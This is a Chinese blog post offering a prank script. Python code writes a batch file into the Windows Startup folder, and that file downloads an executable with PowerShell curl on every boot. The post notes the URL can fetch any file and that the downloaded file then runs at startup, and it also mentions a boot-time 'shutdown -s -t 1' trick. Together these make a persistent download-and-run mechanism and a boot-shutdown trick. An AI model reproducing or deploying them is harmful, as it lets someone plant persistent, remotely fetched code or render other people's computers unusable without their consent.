当前位置: 首页 > news >正文

【实现开机自动下载原神(bat脚本)1.0】

源于我写Python脚本时的一个小想法,使用Python写一个自动创建bat文件的脚本,脚本的内容是shutdown -s -t 1,实现开机即关机

Python实现创建bat文件并移动到开机启动文件夹

import os'''自动下载原神'''
# 定义要创建的.bat 文件的内容
bat_content = '''
set curpath=%~dp0 
cd /d %curpath%
set exename=yuanshen.exe
set downurl=(替换为下载地址)
powershell curl -o "%exename%" "%downurl%"
'''  # 相关的快点就该数字(秒)
# 获取 shell:startup 目录的路径
startup_path = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')
# 指定要创建的.bat 文件的路径和文件名
bat_file_path = os.path.join(startup_path, 'genshin.bat')
# 创建并写入内容到.bat 文件
with open(bat_file_path, "w") as file:file.write(bat_content)

这段代码的功能是创建一个 .bat 批处理文件,并将其放置在系统的启动文件夹中,以实现自动下载原神的操作。

原理如下:

  1. 定义了一个字符串 bat_content ,其中包含了一系列的批处理命令。

    • set curpath=%~dp0 :获取当前批处理文件所在的目录路径。
    • cd /d %curpath% :切换到当前目录。
    • set exename=yuanshen.exe :定义要下载的文件名称。
    • set downurl=(替换为下载地址) :定义下载链接。
    • powershell curl -o "%exename%" "%downurl%" :使用 powershell 中的 curl 命令从指定的链接下载文件并保存为指定的文件名。
  2. 通过 os.getenv('APPDATA') 获取用户的应用数据目录,然后逐步构建出 startup_path ,即系统的启动文件夹路径。

  3. 使用 open 函数以写入模式创建并打开位于启动文件夹中的 genshin.bat 文件。

  4. 使用 file.write 方法将之前定义的批处理命令内容写入到创建的 .bat 文件中。

这样,当系统启动时,会自动执行这个批处理文件,尝试从指定的链接下载名为 yuanshen.exe 的文件。

bat代码及运行效果

set curpath=%~dp0 
cd /d %curpath%
set exename=yuanshen.exe
set downurl=(替换为下载地址) //这里的URL可以换成其它的,就可以下载任意文件
powershell curl -o "%exename%" "%downurl%"

运行效果:

下载中
在这里插入图片描述
下载中
在这里插入图片描述
下载完毕
在这里插入图片描述
就不打开给大伙演示了,顺便一提由于是在启动文件夹下,这个原神的安装程序也会开机即启动,可以说是非常有节目效果了

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • PythonStudio 控件使用常用方式(十六)TButtonedEdit
  • 在国产芯片上实现YOLOv5/v8图像AI识别-【2.4】导出RKNN模型(第一部分:模型修改)更多内容见视频
  • Midjourney研究笔记丨05图生图:垫图,让机器人为你提供有效关键词
  • LabVIEW中的Reverse String函数与字节序转换
  • MySQL4多表查询 内连接
  • 支付宝开放平台竟出现一张神秘人脸!
  • uniapp(scroll-view)设置show-scrollbar无效
  • RHCA III之路---EX436-5
  • 在Quartz.Net中使用Scoped Service
  • Vue:使用html2canvas将数据导出到PDF上(含分页)
  • docker部署xxl-job
  • Shell脚本-DNS域名解析格式化
  • Element学习(布局组件、案例操作)(4)
  • Android:Uniapp平台中接入即构RTC+相芯美颜
  • Linux 下 perf 的使用
  • AngularJS指令开发(1)——参数详解
  • IP路由与转发
  • JavaScript创建对象的四种方式
  • mysql外键的使用
  • python docx文档转html页面
  • QQ浏览器x5内核的兼容性问题
  • RxJS 实现摩斯密码(Morse) 【内附脑图】
  • Solarized Scheme
  • unity如何实现一个固定宽度的orthagraphic相机
  • 测试开发系类之接口自动化测试
  • 关于Flux,Vuex,Redux的思考
  • 基于Vue2全家桶的移动端AppDEMO实现
  • 浅谈web中前端模板引擎的使用
  • 微信小程序实战练习(仿五洲到家微信版)
  • 想使用 MongoDB ,你应该了解这8个方面!
  • 用Visual Studio开发以太坊智能合约
  • 原生 js 实现移动端 Touch 滑动反弹
  • 原生Ajax
  • ​3ds Max插件CG MAGIC图形板块为您提升线条效率!
  • ​zookeeper集群配置与启动
  • #if 1...#endif
  • #数据结构 笔记一
  • #我与Java虚拟机的故事#连载15:完整阅读的第一本技术书籍
  • ( 10 )MySQL中的外键
  • ()、[]、{}、(())、[[]]等各种括号的使用
  • (01)ORB-SLAM2源码无死角解析-(66) BA优化(g2o)→闭环线程:Optimizer::GlobalBundleAdjustemnt→全局优化
  • (1)安装hadoop之虚拟机准备(配置IP与主机名)
  • (BFS)hdoj2377-Bus Pass
  • (ZT)一个美国文科博士的YardLife
  • (附源码)ssm高校运动会管理系统 毕业设计 020419
  • (附源码)计算机毕业设计SSM教师教学质量评价系统
  • (一)项目实践-利用Appdesigner制作目标跟踪仿真软件
  • (源码版)2024美国大学生数学建模E题财产保险的可持续模型详解思路+具体代码季节性时序预测SARIMA天气预测建模
  • (转)IIS6 ASP 0251超过响应缓冲区限制错误的解决方法
  • (转)MVC3 类型“System.Web.Mvc.ModelClientValidationRule”同时存在
  • ./configure,make,make install的作用
  • .bat文件调用java类的main方法
  • .net 7和core版 SignalR
  • .NET I/O 学习笔记:对文件和目录进行解压缩操作
  • .Net Web项目创建比较不错的参考文章